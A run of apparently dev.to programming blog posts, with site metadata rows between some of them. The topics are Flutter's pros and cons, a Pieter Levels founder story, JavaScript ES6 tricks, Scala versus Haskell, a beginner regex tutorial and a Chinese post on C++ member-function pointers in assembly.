Now, let’s talk about "Invention over Configuration." This is like having a big box of random LEGO bricks with no instructions. You get to be the designer! You decide what your spaceship will look like, how big it will be, and what cool features it will have. It’s all up to your imagination and creativity.
In technology and programming, this means writing more of your own code and creating solutions that are unique to your needs. Here are some examples:
- Creating a Game: If you want to create your own game from scratch, you might start with a basic game engine (like Unity or Unreal Engine), but you’ll write your own code to control the characters, design the levels, and make the rules.
- Custom Websites: Instead of using WordPress, you might decide to write all the HTML, CSS, and JavaScript yourself to create a website that looks and works exactly how you want it.
Inventing New Gadgets: If you have a unique idea for a gadget, you might need to design the hardware and write the software yourself to bring your idea to life.
## **Why Both Are Important?**
Both "Configuration over Invention" and "Invention over Configuration" are important in technology. Sometimes, using ready-made tools saves you a lot of time and helps you learn how things work. Other times, creating something from scratch lets you express your creativity and solve unique problems.
As you explore technology, you’ll get to try both approaches. You might start with some easy configuration projects to build your confidence. Then, as you get more experienced, you’ll tackle bigger challenges and start inventing your own solutions.
## **Quick Recap**
Configuration Over Invention: Like using a LEGO kit. You follow instructions and use pre-made pieces to build something quickly.
Invention Over Configuration: Like designing your own LEGO creation. You use your imagination and creativity to build something unique from scratch.
So, next time you’re working on a tech project, consider whether you’re using a spaceship kit or designing your own spaceship. Both ways are super cool and will help you become an awesome creator!
What about you? Do you have any cool projects where you used either approach? Share your stories in the comments!

1,899,555 | The Pros and Cons of Flutter App Development: Is Flutter the Right Choice for Your Next Project | As a developer, I'm always on the lookout for cutting-edge technologies that can streamline my... | 0 | 2024-06-25T04:28:02 | https://dev.to/apptagsolution/the-pros-and-cons-of-flutter-app-development-is-flutter-the-right-choice-for-your-next-project-3je8 | pros, cons, flutter, development | As a developer, I'm always on the lookout for cutting-edge technologies that can streamline my workflow and enhance the quality of my applications. One such technology that has garnered significant attention in recent years is Flutter, an open-source UI software development kit created by Google. Flutter has quickly gained popularity among developers due to its ability to build high-performance, visually attractive, and natively compiled applications for mobile, web, and desktop platforms from a single codebase.
In this comprehensive article, I will delve into the pros and cons of Flutter app development, exploring its strengths, weaknesses, and potential use cases. By the end, you'll have a clear understanding of whether Flutter is the right choice for your next project.
Pros of Flutter app development
Cross-Platform Development: One of the most significant advantages of Flutter is its cross-platform capabilities. With Flutter, developers can create applications for multiple platforms, including iOS, Android, web, and desktop, using a single codebase. This approach not only saves time and resources but also ensures a consistent user experience across different devices and operating systems.
Hot Reload: Flutter's hot reload feature is a game-changer for developers. It allows you to instantly view changes made to the code, without the need for a full app restart. This feature significantly accelerates the development process, enabling you to iterate and experiment quickly.
Customizable and Expressive UI: Flutter's widget-based architecture and rich set of built-in widgets make it easy to create highly customizable and visually appealing user interfaces. The framework's reactive programming model and composable widget structure allow for efficient rendering and seamless updates, resulting in a smooth and responsive user experience.
Native Performance: Unlike many cross-platform frameworks that rely on web views or intermediate layers, Flutter compiles directly to native code, ensuring optimal performance and a truly native look and feel for your applications.
Growing Community and Support: Flutter has a rapidly growing and vibrant community of developers, contributors, and enthusiasts. Google's active involvement and support for the framework ensure continuous improvements, bug fixes, and the introduction of new features.
Cons of Flutter app development
Steep Learning Curve: While Flutter's simplicity and ease of use are often praised, the framework does have a steep learning curve, especially for developers who are new to reactive programming and the Dart programming language. Mastering Flutter's architecture and its unique approach to UI development can be challenging initially.
Limited Third-Party Library Support: Compared to more established frameworks like React Native or Xamarin, Flutter currently has a smaller ecosystem of third-party libraries and plugins. While the community is actively working to expand the available resources, some functionalities may require custom implementations or workarounds.
Larger App Size: Flutter applications tend to have larger file sizes compared to their native counterparts, primarily due to the inclusion of the Flutter engine and additional dependencies. This can be a concern for users with limited storage or bandwidth constraints.
Compatibility Issues: While Flutter aims to provide a consistent experience across platforms, there may still be instances where platform-specific customizations or workarounds are required to ensure optimal performance and functionality.
Limited Native Interoperability: Although Flutter allows for native code integration, the process can be more complex compared to traditional native development approaches. This may pose challenges when working with existing native codebases or libraries.
Comparison with other app development frameworks
To better understand Flutter's position in the app development landscape, let's compare it with some popular alternatives:
React Native: React Native is a widely adopted cross-platform framework developed by Facebook. It leverages React, a popular JavaScript library, and allows developers to write code in JavaScript/TypeScript. While React Native has a larger ecosystem and community, it relies on a bridge to communicate with native components, which can sometimes lead to performance bottlenecks.
Xamarin: Xamarin is a cross-platform development framework owned by Microsoft. It allows developers to write applications in C# and share code across platforms. While Xamarin offers excellent native performance and integration, it can be more complex to learn and maintain compared to Flutter.
Native Development (Swift/Kotlin): Building separate native applications for iOS (Swift) and Android (Kotlin) provides the best performance and platform-specific integration. However, this approach requires maintaining separate codebases, which can be time-consuming and resource-intensive, especially for smaller teams or projects with limited budgets.

The guy who to this day, has built... | 0 | 2024-06-25T04:26:11 | https://dev.to/manojgohel/this-guy-makes-3m-per-year-with-0-employees-7h9 | employees, job, startup, webdev | Have you heard of a [guy who had launched](https://www.wired.com/2014/08/12-startups-in-12-months/) 12 startups in 12 months? The guy who to this day, has built over 70+ products while backpacking across the world.
Yes, I am talking about [**Peter Levels**](https://x.com/levelsio).
He makes all his money while living a nomadic lifestyle. He has traveled to dozens of countries in Asia, Europe, and the Americas. But did you know his journey started with a simple spreadsheet?
Out of his 70+ projects, only a few turned out to be successful. According to him almost 95% of everything he ever did failed, except a few hit projects.
- RemoteOK → ~ $1.6M/year
- NomadList → ~ $1.2M/year
- ReadMake → ~ $60k/year
- PhotoAI → ~ $624K/year
- InteriorAI → ~ $480K/year
- TherapistAI → ~ $48K/year
Let’s get into this amazing founder story.
> **Just a quick reminder, here is a** [**link to my Medium list**](https://medium.com/@manojgohel) **which includes all founder stories I have written to this date. Thanks**
## How this all started
In 2012 Peter graduated from university with a Master’s degree in Business Administration and Entrepreneurship. Pieter launched his first business entirely by accident.
While in college, he started uploading his electronic music mixes to YouTube. He grew the channel **Panda Drum & Bass Mix Show** to 100k+ subscribers. Now, other DJs asked for their mixes to be featured on the channel.
Screenshot of YT channel
The channel made enough money from Ads to support him. But he didn’t like being tied to Google’s YouTube machine. So he decided to change the way he was doing things.
In 2013, he sold most of his belongings and flew to Thailand. It took him a while to complete any real work. The fear of his project failing drove him to spend a long time perfecting it.
In 2014 Peter came back to Europe, to get rid of fear and depression.
Pieter began the 12 Startups in 12 Months challenge to ensure that he followed through on his ideas. His breakthrough came on the 4th startup.
The first 3 projects were called:
1. Play My Inbox
2. Go Fucking Do It
3. Tubelytics
For **NomadList**, his 4th project, Pieter wanted a list of cities that were suitable for his nomadic lifestyle. Instead of creating a website first, he made a public Google spreadsheet to collect the initial data. His tweet went viral among remote workers and nomads.
> **_‘’I was slightly stunned by the response. Apart from filling in all the data, people started adding columns for different indicators’’_,**
>
> — Peter during an interview
He built the first version of NomadList from all the data he crowdsourced. Peter later launched an MVP in less than a month. After getting some initial traction, he started to monetize Nomad List.
## Ideas creation and marketing
Peter does not believe in conventional marketing. But in truth, he is one of those marketing geniuses. Look at the ways he promotes his startups.
- He bought a billboard in front of Apple’s headquarters in San Jose to promote his startup.
- Did a giveaway of $10,000 to a random person who retweeted his tweets to promote his startup RemoteOK. And guess what?
He got 8k+ retweets on this tweet. Possibly more than 2M impressions (crazy marketing tactics).
Screenshot of tweet
After launching Nomad List, it brings in about $1.2M in ARR.
Growth index of Nomad List
RemoteOK, the 7th project in the series, is a job board for remote jobs. These are mainly programming, web design, and development jobs.
RemoteOK is Pieter’s largest business bringing in over $1.6 million in ARR.
Growth index of Remote Ok
## How is Peter doing
Pieter is someone who kept at it even after so many of his projects failed. Can you replicate his success in 2024 with simple ideas like his? Probably not.
**But, the lesson here is building, new opportunities come. Better ones.**
In recent times, Pieter worked on a lot of cool stuff in AI, like:
1. PhotoAI
2. AvatarAI
3. InteriorAI
4. TherapistAI
5. AplicantAI
Screenshot of X profile
Peter is a genius indie entrepreneur who loves to make products, promote them creatively, and live a nomad life. He is seen online posting photos from Hong Kong one day and tweeting from Thailand the next.
He is now an inspiration for people who want to make it big in life.
## Story lesson
Peter’s story is one of those stories that give us an important message, **_that success is all about iteration._**
And the other aspect of this story is, how many of us are in life succumb to survivorship bias. Peter most projects failed but we see only the ones that succeeded. | manojgohel |

1,899,546 | JavaScript Short Tricks Time | Hey there, JavaScript enthusiasts! Whether you're a seasoned developer or just starting out, this... | 0 | 2024-06-25T04:20:07 | https://dev.to/ayushh/javascript-short-tricks-time-feh | webdev, javascript, beginners, programming | > Hey there, JavaScript enthusiasts! Whether you're a seasoned developer or just starting out, this blog is dedicated to sharing quick tips and tricks that can make your JavaScript coding more efficient and enjoyable. Let's dive into some handy techniques and shortcuts that will help you write cleaner, more effective code.
Let's Start,
## Trick #1: Destructuring Assignment
> Destructuring assignment is a powerful feature introduced in ES6 that allows you to extract values from arrays or objects into distinct variables. It's great for simplifying your code and making it more readable.
Example:
```
// Destructuring an array
const numbers = [1, 2, 3, 4, 5];
const [first, second] = numbers;
console.log(first); // Output: 1
console.log(second); // Output: 2
// Destructuring an object
const person = {
name: 'John',
age: 30,
city: 'New York'
};
const { name, age } = person;
console.log(name); // Output: John
console.log(age); // Output: 30
```
## Trick #2: Spread Syntax
> The spread syntax (...) is another ES6 feature that is incredibly useful for manipulating arrays and objects. It allows you to expand elements where multiple arguments or elements are expected.
Example:
```
// Combining arrays
const arr1 = [1, 2, 3];
const arr2 = [4, 5, 6];
const combined = [...arr1, ...arr2];
console.log(combined); // Output: [1, 2, 3, 4, 5, 6]
// Copying arrays
const original = [1, 2, 3];
const copy = [...original];
console.log(copy); // Output: [1, 2, 3]
// Passing arguments to a function
function sum(x, y, z) {
return x + y + z;
}
const numbers = [1, 2, 3];
console.log(sum(...numbers)); // Output: 6
```
## Trick #3: Template Literals
> Template literals provide a more convenient way to concatenate strings and include variables or expressions in your strings.
Example:
```
const name = 'Alice';
const age = 25;
console.log(`Hello, my name is ${name} and I am ${age} years old.`);
// Output: Hello, my name is Alice and I am 25 years old.
```
## Trick #4: Arrow Functions
> Arrow functions provide a concise syntax for writing function expressions, especially useful for inline and anonymous functions.
Example:
```
// Regular function
function multiply(a, b) {
return a * b;
}
// Arrow function
const multiply = (a, b) => a * b;
console.log(multiply(3, 4)); // Output: 12
```
## Trick #5: Optional Chaining
> Optional chaining (?.) allows you to safely access deeply nested properties of an object without worrying about whether the property exists or not.
Example:
```
const person = {
name: 'Jane',
address: {
city: 'London'
}
};
console.log(person.address?.city); // Output: London
console.log(person.address?.country); // Output: undefined (no error thrown)
```
Stay tuned for more JavaScript tricks and tips coming your way! Remember, mastering these shortcuts can significantly enhance your coding productivity and clarity. Happy coding! 🚀

There is this meme that *Haskell is better than Scala* or that *Scala is just a gateway drug to Haskell*. A long time ago, I used to believe this.
> _I saw how 4 different companies use Scala._
> _I saw how 4 different companies use Haskell_
After years of using both in multiple companies and meeting people who “went back to Scala”, it’s kind of sad to see people bring up these stereotypes repeatedly. Sure, the Haskell language influenced and inspired Scala, but there are so many things that I miss from Scala when I use Haskell… as well as vice versa.
## ⚠️ Disclaimer
When talking about Scala or Haskell here — it’s not just about the languages themselves, but also about standard libraries and overall ecosystems.
> “All happy families are alike; each production is unhappy in its own way.”
We’ll be talking from subjective-production-backend experience — from somebody dealing with web apps, microservices, shuffling jsons, and all that stuff. The emphasis is on the **production** setting (not academic, theoretical, or blog post).
For example, Scala is built on top of Java and has `null`s, oh no! While in a day-to-day code, I rarely encounter it. The last time I saw a `NullPointerException` was more than 8 months ago. Not even in the Scala code. It was in the http response body — the vendor’s API returned internal errors in case of malformed input 🤷 (they used Spring).
With this in mind…
## FP dial
One of the biggest things that separates Scala from Haskell is the ability to choose the level of FP or level of purity.
I know how to use trace (and friends) to debug in Haskell, but it’s pretty convenient to sneak in an occasional `println` anywhere I want.
And I’m happy to admit, that I used a couple of mutable variables a few of months ago and it was great. I was migrating some convoluted functionality from legacy Ruby to Scala, and it was simpler to translate the core almost as is (in a non-fp way), add tests, remove unnecessary code, fix some edge cases, and only after rewrite in a functional style with a little `State`.
Sure, it wouldn’t be the end of the world to rewrite that in Haskell as well — instead of intermediate representation, I would have to plan on paper or something…
Fp-dial is also great for learning/teaching, occasional straightforward performance tweaks, and so on…
## Laziness
Another big difference is **laziness**.
When writing Haskell, laziness allows us not to think or worry about stuff like stack safety; for example, we don’t have to worry about `*>` vs `>>`, we can look at the code of any Monad and it’s going to be just two functions — no `tailRecM` or other tricks… *(it still doesn’t mean it’s going to be easy to read though)*
And laziness gives more room for the compiler to be free and optimize whatever it wants.
On the other hand, when writing Scala, it’s pretty nice not to worry about **laziness**. Like I’ve mentioned before, I can `println` (or see in the debugger) pretty much any variable and know that I will see it (and it will be evaluated). On top of that, no worrying about accumulating the thunks…
> 😉 Don’t worry, there are other ways to leak memory on JVM.

## Function Composition and Currying
Probably the biggest stylistic thing I miss from Haskell is **function composition**.
Starting with a concise composition operator (`.`):
```haskell
pure . Left . extractErrorMessage -- Note: read from right to left
```
Sure, it requires getting used to, some people abuse it, and so on. But function composition can be so elegant!
```haskell
map (UserId . strip) optionalRawString
```
What also helps Haskell’s elegance is currying — Haskell functions are curried, which makes function composition and reuse even more seamless:
```haskell
traverse (enrichUserInfo paymentInfo . extractUser) listOfEntities
enrichUserInfo :: PaymentInfo -> User -> IO UserInfo
extractUser :: Entry -> User
```
At the same time, not having currying by default is to Scala’s advantage — it can notably improve error messages (which is also more beginner-friendly). When you miss an argument, the compiler tells you if you passed a `wrong number of parameters` or which exact parameter is wrong:
```scala
def enrichUserInfo(paymentInfo: PaymentInfo, user: User): IO[UserInfo] = ???
```
```scala
enrichUserInfo(user)
// Found: User
// Required: PaymentInfo
```
```scala
enrichUserInfo(paymentInfo)
// missing argument for parameter user ...
```
## Where clause
Another style- or formatting-related thing that I really miss in Scala is having the ability to write things in the `where` clauses.
```haskell
foo = do
putStrLn "Some other logic"
traverse (enrichUserInfo paymentInfo . extractUser) listOfEntities
where
enrichUserInfo :: PaymentInfo -> User -> IO UserInfo
enrichUserInfo = undefined
extractUser :: Entry -> User
extractUser = undefined
```
It’s not the same as declaring variables (before using them) and not the same as using private or nested functions. I like to have primary logic first and secondary — after (below) and be explicit that functions aren’t used anywhere else.
## Types
Let’s talk types.
### Newtypes and Sum types
It feels like Haskell encourages us to make custom types, because of how uncluttered it is:
```haskell
data Role = User | Admin deriving (Eq, Show)
```
```haskell
newtype Quota = Quota Int deriving Num
remainingQuota :: Quota -> Quota -> Quota
remainingQuota balance cost = balance - cost
```
It’s just so neat and ergonomic! When I’m writing Scala, I might think about making a custom type but then give up and keep using `String`s and `Boolean`s…
> 🙏 Sure. One can use a library. Sure. It’s better with Scala 3. Still…
>
### Product Types
Funnily enough, Scala is way better at product types (records/case classes):
```scala
case class User(name: String)
User("Peach").name
```
We don’t need to go into more details. If you have used Haskell, **you know**.
> 🙏 Sure. One can use lenses. Sure. It’s better with the latest extensions. Still…
>
### Union Types
On a related note, Scala 3 introduced union types:
```scala
val customer: Either[NotFound | MissingScope | DBisDead, CustomerId] = ???
customer match
case Right(customerId) => as200(customerId)
case Left(NotFound(message)) => notFound(message)
case Left(MissingScope(_)) => unauthorized
case Left(DBisDead(internal)) =>
Logger.error("Some useful information, {}", internal.getErrorMessage()) >>
internalServerError("Some nice message")
```
Finally, introducing new error types doesn’t feel like a chore — we don’t need to build hierarchies or convert between different ones. I miss those in Haskell and Scala 2.
> 🤔 The type could be even `CustomerId | NotFound | MissingScope | DBisDead`
>
## Type inference
Let’s keep it short: Haskell has great type inference. It works when you need it — I never feel like I have to help the compiler to do its job
> 🙏 Not talking about more complicated type-level stuff — just normal fp code.
>
For example, we can compose monad transformers without annotating a single one (or even the last one):
```haskell
program :: IO (Either Error Result)
program = runExceptT do
user <- ExceptT $ fetchUser userId
subscription <- liftIO $ findSubscription user
pure $ Result{user, subscription}
fetchUser :: UserId -> IO (Either Error User)
findSubscription :: User -> IO Subscription
```
And when we use the wrong thing, the compiler has our back:
```haskell
program = runExceptT do
user <- _ $ fetchUser userId
subscription <- liftIO $ findSubscription user
pure $ Result{user, subscription}
```
```
• Found hole: _ :: IO (Either Error User) -> ExceptT Error IO User
• ...
Valid hole fits include
ExceptT :: forall e (m :: * -> *) a. m (Either e a) -> ExceptT e m a
with ExceptT @Error @IO @User
(imported from ‘Control.Monad.Except’ ...
(and originally defined in transformers
```
## Modules and dot completion
On the other side of the coin, Scala has a great module system — we can design composable programs, don’t worry about things like naming conflicts, and also… look what we can do:
*dot completion…*
## Hoogle
To be fair, the dot-completion is good and all, and occasionally I miss it in Haskell. It’s, however, only useful when I already have a specific object or already know where to look. When we just start using the library, have a generic problem, or don’t even know what library to use yet; then the dot-completion won’t help us — but Haskell’s [hoogle](https://hoogle.haskell.org/?hoogle=(a%20-%3E%20Bool)%20-%3E%20%5Ba%5D%20-%3E%20%5Ba%5D) is.
We can search for generic things:
```haskell
(a -> Bool) -> [a] -> [a]
```
And for more specific things, for example, we have an `ExceptT`, how can we use it?
```haskell
IO (Either e a) -> ExceptT e IO a
```
## Libraries
If we look at the bigger picture, Scala has a better library situation — when I need to pick a library to solve some things, it’s usually easier to do in Scala.
> 🙏 Keep in mind the context. I know, for instance, Scala has nothing that comes close to Haskell’s parser libraries, but this is not what we’re talking about right now.
>
It's most notable in companies where many other teams use different stacks; we have to keep up with them (new serialization formats, new monitoring systems, new aws services, and so on).
We rarely have to start from scratch in Scala because, at least, we can access the sea of java libraries.
The opposite issue — when there are too many libraries for the same use-case — is just a bit less common in Scala. Mostly, when there are multiple libraries, it’s because each exists for a different Scala flavor (we’ll talk about this soon), but it’s often fine because it’s easy to pick one based on your style (*maybe not as easy for beginners 🤷*)
And then Scala libraries themselves are usually more production-ready and polished. Essentially, there are more Scala developers and more Scala in production, so the libraries go through more iterations and testing.
### Library versions / Stackage
However, when it comes to picking **versions** of the libraries I prefer Haskell because it has Stackage — a community project, which maintains sets or snapshots of compatible Haskell libraries.
We don’t need to brute-force which library versions are compatible or go through bunch of github readmes or release notes. The tools can pick the versions for us: either **explicitly**, if we choose a specific resolver/snapshot (for example, [lts-22.25](https://www.stackage.org/lts-22.25)); or **implicitly**, by using loose version bounds (`base >= 4.7 && < 5`) and relying on the fact that Stackage incentivizes libraries to stay up-to-date and be compatible with others (or something like that).
## Best practices
As I mentioned, there are various flavors of Scala (some say *different stacks*): java-like Scala, python-like Scala, actor-based Scala, … *many others*, and two fp Scalas: typelevel/cats-based and zio-based. Most of the time, they come with their core set of libraries and **best practices**.
It’s easy to get onboarded at a new code base or a company — no need to bike-shade every time about basic things like resource management or error handling. Of course, there are hype cycles and new whistles every few years, but Scala communities usually settle on a few things and move on.
On the other hand, there is **no consensus** on writing Haskell. Whatsoever. On any topic. And I’m going to contradict what I’ve just said, but I like it too — it can be really fun and rewarding as well. I have seen 4 production usages of Haskell: each company used a different effect system or ways to structure programs (*actually, half of them used even multiple different ones inside the same company*), and it was enjoyable to learn, experiment, and compare.
### Abstractions
In a nutshell, all those (Scala/Haskell) effect systems are just monads with different boilerplate — if you used one, you used them all. It’s not a big deal to switch between them.
And it’s another great thing about Haskell — the use or reuse of **abstractions** and **type classes**.
It’s typical for libraries to provide instances for common type classes. For example, if there is something to “combine”, there are probably semigroup and/or monoid instances. So, when Haskell developers pick up a new library, they already have some intuition on how to use it even without much documentation (*maybe not as easy for beginners 🤷*).
Take, for instance, the [Megaparsec](https://hackage.haskell.org/package/megaparsec-9.6.1/docs/Text-Megaparsec.html) parser library — most of the combinators are based on type classes; for example, we can use applicative’s pure to make a parser that succeeds without consuming input, alternative’s `<|>` that implements [choice](https://hackage.haskell.org/package/parser-combinators-1.3.0/docs/Control-Monad-Combinators.html#v:-60--124--62-), and so on.
## Blitz round
Let’s quickly cover a few other topics. We won’t give them too much time, because they are even more nuanced or niched (*or I was too lazy to come up with good examples*).
### Documentation, books, and other resources
Speaking of documentation, originally, when I sketched out this guide, I was going to say that Scala is better at teaching (documentation, books, courses, and whatever), but after sleeping on it (more than a couple nights), I don’t think it’s the case — I don’t think one is doing strictly better than the other on this front (*as of 2024*).
### Type classes
Probably the first and the most common topic people bring up when comparing Scala to Haskell is type classes: in Haskell, there's (guaranteed to be) one instance of a type class per type (Scala allows multiple implicit instances of a type).
There are a lot of good properties as a consequence, but honestly, the best one is that there is no need to remember what to import to get instances.
### Type-level programming
If you like it when your language allows you to do “a lot” of type-level programming, it’s an extra point for Haskell.
If you don’t like it when your colleagues spend too much time playing on the type-level or don’t like complex error messages, it’s an extra point for Scala.
### Build times
Scala compiles faster.
### Runtime and concurrency
I think, in theory, Haskell has a strong position here: green thread, STM, and other great concurrency primitives.
However, in practice, I prefer writing concurrent code in Scala. Maybe it’s because I’m scared of Haskell’s interruptions and async exceptions, maybe it’s because occasionally I can just replace `map`s with “pragmatic” `parMap`, `mapAsync`, or even `parTraverse` and call it a day, or maybe it’s because Scala library authors, among other things, built on top of Haskell’s findings.
## Take-aways
So, is there a lesson here? On one hand, I wish people would stop dumping on other languages and recite the same things.
On the other hand, I, for instance, hate Ruby so much that if someone told me to learn something from Ruby, I’d tell them to…

The purpose of this blog is to get you somewhere in between. Know the bits that will be super useful without being dangerous.
## Wait, regex can be dangerous?
Regex can do some spectacular things. You can write entire programs in regex. But just because you can, doesn't mean you should. A giant regex pattern uses all the powerful bits of regex, like recursive patterns, conditional patterns, look ahead and look behinds, and introducing side-effects with a replace.
I mean look at this:

```
This was a [somewhat commonly used pattern to detect mobile browsers](http://detectmobilebrowsers.com/mobile#google_vignette) at some point.
My problem with regex is this:
- Regex syntax is extremely concise, which means extreme mental-overhead to read and write.
- Regex has lots of exceptions. It's grammar and rules are inconsistent at best.
- Really hard to split into multiple lines and not endup with a huge cursed string.
- Updating regex to accept new behavior, reuse bits of the logic is hard.
- When it gets large enough, everyone's afraid to touch it.
You will end up with impossible to read and maintain code if you go too far with regex.
## On to the good bits
At its core, regex is a powerful way to search and match text based on rules, and extract information into variables. It **can** be used to manipulate string, but I'm going to avoid this. Most people do not expect regex to have side effects.
Stuff like pulling out a html tag with certain classnames, [formatting phone numbers](https://stackoverflow.com/questions/8358084/regular-expression-to-reformat-a-us-phone-number-in-javascript), and log parsing are great examples of good places to use regex.
## Basic patterns
Take this example of using regex in JS.
```js
const words = [
"Hello world",
"This is a short! message that says \"Hello world\"",
"I love regular expressions"
];
// this is the pattern
const re = new RegExp("ello");
// the pattern can be used to "test" for matches
console.log(words.filter(value => re.test(value)))
```
The regular expression pattern `ello` used in `re.test()` will match any string containing the pattern as a substring. This is the simplest type of pattern.
It will match the following lines:
```
[ 'Hello world', 'This is a short! message that says "Hello world"' ]
```
These patterns are by default case sensitive. You can define case in-sensitive with the option `new RegExp("ello", "i");`.
### Start and end of text
Regular expressions has "meta characters" that define logical rules for your pattern to match against.
The character `^` means beginning of text and `$` means end of string.
For example:
```js
// This will match "Hello, world!" but not "Message: Hello, world!".
const re = new RegExp("^Hello");
// This will match "Hello, world" but not "Hello, world!"
const re = new RegExp("world$");
```
### Match one of variations
Sometimes you want to match variations of a similar pattern. In the most basic cases, variations of words like `fine`, `pine`, and `line`. In these cases, you can define a group of options in brackets like this: `[]`.
```js
const words = [
"fine",
"pine",
"line!"
];
// This will match all the words above.
const re = new RegExp("[fpl]ine");
console.log(words.filter(value => re.test(value)))
```
You can use ranges of ascii characters in these any-of groups like this `[a-zA-Z0-9]`.
```js
const words = [
"1ine",
"Pine",
"zine!"
];
// still match all the words.
const re = new RegExp("[a-zA-Z0-9]ine");
console.log(words.filter(value => re.test(value)))
```
An alternative approach is to use `|` which represents a logical or to match alternatives.
```js
const words = [
"color",
"colour",
];
const re = new RegExp("color|colour");
console.log(words.filter(value => re.test(value)))
```
### Wildcard
Sometimes you don't want to specify options, you want to match every variation imaginable. We can use the `.` character to specify a wildcard.
```js
const words = [
"%ine",
"}ine",
"`ine!"
];
const re = new RegExp(".ine");
console.log(words.filter(value => re.test(value)))
```
### Repeating patterns
Sometimes we want to match a character repeatedly. For example, matching every variation of `yeet`, like `yeeeeeeeeeet` or `yeeeeeeeeeeeeeeeeeeeeeeeet`.
We can use `+` or `*`. `*` matches the preceding element zero or more times, `+` Matches the preceding element one or more times.
```js
const words = [
"yeet",
"yeeet",
"yeeeeeeeeet"
];
// matches [ 'yeeet', 'yeeeeeeeeet' ]
const re1 = new RegExp("yeee+t");
// matches [ 'yeet', 'yeeet', 'yeeeeeeeeet' ]
const re2 = new RegExp("yeee*t");
console.log(words.filter(value => re1.test(value)))
console.log(words.filter(value => re2.test(value)))
```
Use `+` if you want to match the character at least once, use * to mean it's optional but try to match many times if possible.
A interesting side effect of this is that they can be combined with the wildcard `.`. Try `.*` and `.+` in your patterns, but becareful, `.*` will match literally anything which can be very error prone.
Another useful piece of syntax is `{}` which specifies the number of times a character or part of a pattern is repeated. For example:
```js
const words = [
"100",
"1011",
"222222"
];
// matches [ '1011' ]
const re = new RegExp("^[0-9]{4}$");
console.log(words.filter(value => re.test(value)))
```
### Useful macros
There are some metacharacters that behave kinda like macros. These metacharacters are fundamental in constructing regex patterns to match specific text patterns in strings.
| Metacharacter | Description | Example Match |
|---------------|------------------------------|--------------------|
| `\d` | Digit (0-9) | `4`, `9`, `0` |
| `\D` | Non-digit | `a`, `Z`, `%` |
| `\w` | Word character | `a`, `A`, `1`, `_` |
| `\W` | Non-word character | `!`, `@`, `#` |
| `\s` | Whitespace | ` `, `\t`, `\n` |
| `\S` | Non-whitespace | `a`, `1`, `%` |
| `\b` | Word boundary | `\bword\b`, `\b123\b` |
| `\B` | Non-word boundary | `\Bword\B`, `\B123\B` |
`\d`, `\w`, and `\s` are pretty self-explanatory. What I wanna focus on is the `\b` and `\B` meta characters. These are extremely useful when parsing prose, because they respect natural word boudaries. For example in "hello, boss", hello is a independent word, but it's followed by a `,` which means if you naively matched the pattern `\shello\s`, the word will be missed. Similarly, matching for `hello` naively will also match words like `phelloplastics`.
```js
const words = [
"hello, boss",
"galvanized square steel.",
"dave has saved up a looooonnnggg time for his new prison-esque house."
];
// matches words ["hello, boss"]
const re1 = new RegExp("\\bhello\\b");
// matches in words ["dave has saved up a looooonnnggg t...]
const re2 = new RegExp("\\Bsq\\B");
console.log(words.filter(value => re1.test(value)))
console.log(words.filter(value => re2.test(value)))
```
## Extracting values
Capture groups in regex let you extract values with a patter. You define capture groups with `(<subpattern>)` and everything matched by the pattern enclosed in `()` is returned.
For example, parsing an email:
```js
let email = "example.user123@example.com";
let r = /^([\w\.-]+)@([\w\.-]+)\.([a-zA-Z]{2,6})$/;
let match = r.exec(email);
if (!match)
throw Error("invalid email")
// the capture group is returned as an array of matches.
let username = match[1] ?? '';
let domain = match[2] ?? '';
let tld = match[3] ?? '';
console.log("Username:", username);
console.log("Domain:", domain);
console.log("Top-Level Domain (TLD):", tld);
```
What's even cooler is that capture groups can be named for more readable patterns and they can be used to match multiple times. For example, here we can extract multiple emails:
```js
let email = "example.user123@example.com example.user123@example.com example.user123@example.com";
let pattern = /(?<username>[\w\.-]+)@(?<domain>[\w\.-]+)\.(?<tld>[a-zA-Z]{2,6})/;
let match = pattern.exec(email);
if (!match)
throw Error("invalid email")
// loop over all matches
for (group in match.groups) {
let username = match.groups.username;
let domain = match.groups.domain;
let tld = match.groups.tld;
console.log("Username:", username);
console.log("Domain:", domain);
console.log("Top-Level Domain (TLD):", tld);
}
```
## Wait, you missed this cool thing!
If you already know a lot of regex, great! I know everyone has their favorite little tricks with regex. The point of this post is to remove the *fear* many developers feel when they see regex in code. I think the subset of regex introduced in this post give you more than enough to be powerful and literate in regex, but not enough to become abusive.
Of couse, if you feel like there's something cool others should know that I missed, leave it in the comments!
## Cool stuff you can do
I've seen engineers do crazy things with grep. At a old job where we wrote realtime operating systems (ancient 30 year-old code bases), I saw entire chunks of our build process written in `sed` and `awk` which relies heavily on regex.
Other cool things you can do is write your own linters. I work at [Trunk](https://x.com/trunkio), and we make a thing called Trunk Check where you can [write grep linters in less than a minute](https://docs.trunk.io/check/configuration/custom-linters#defining-a-custom-linter) if you know your regex patterns.
Play around and share the cool/crazy stuff you make with the internet.

## 指向非虛擬函式的指位器
首先來看個簡單的[範例](https://godbolt.org/z/oaPx469xT), 建立指向非虛擬函式的指位器：
```cpp
#include <iostream>
using namespace std;
class A
{
public:
virtual void f_v1() { cout << "A::f_v1()" << endl; }
virtual void f_v2() { cout << "A::f_v2()" << endl; }
void f_nv() { cout << "A::f_nv()" << endl;}
};
class B : public A
{
public:
void f_v1() { cout << "B::f_v1()" << endl; }
};
int main(void)
{
B b;
A a;
A *pa = &b;
void (A::*pf)() = &A::f_nv;
(pa->*pf)();
return 0;
}
```
以下針對編譯出來的組合語言碼分開說明, 首先是個別類別的成員函式, 這裡不是我們探討的重點, 因此都略過程式碼內容：
```nasm
.LC0:
.string "A::f_v1()"
A::f_v1():
...(略)
.LC1:
.string "A::f_v2()"
A::f_v2():
...(略)
.LC2:
.string "A::f_nv()"
A::f_nv():
...(略)
.LC3:
.string "B::f_v1()"
B::f_v1():
...(略)
```
接著是配置區域變數, 就依照程式碼內的順序分別配置：
```nasm
main:
push rbp
mov rbp, rsp
sub rsp, 48 ; 配置區域變數空間
mov eax, OFFSET FLAT:vtable for B+16 ; 取得 B 的虛擬函式表位址
mov QWORD PTR [rbp-16], rax ; 放入 b 物件
mov eax, OFFSET FLAT:vtable for A+16 ; 取得 A 的虛擬函式表位址
mov QWORD PTR [rbp-24], rax ; 放入 a 物件
lea rax, [rbp-16] ; 取得 b 的位址
mov QWORD PTR [rbp-8], rax ; 放入 pa 指位器
```
接著就是重點了, 指向成員函式的指位器佔 16 個位元組, 指向非虛擬函式時, 低的 8 位元組就是成員函式的位址, 高 8 位元組是物件的位移, 本文都不會使用到物件的位移：
```nasm
mov QWORD PTR [rbp-48], OFFSET FLAT:A::f_nv() ; 將 f_nv 的位址放入 pf 的低 8 位元組
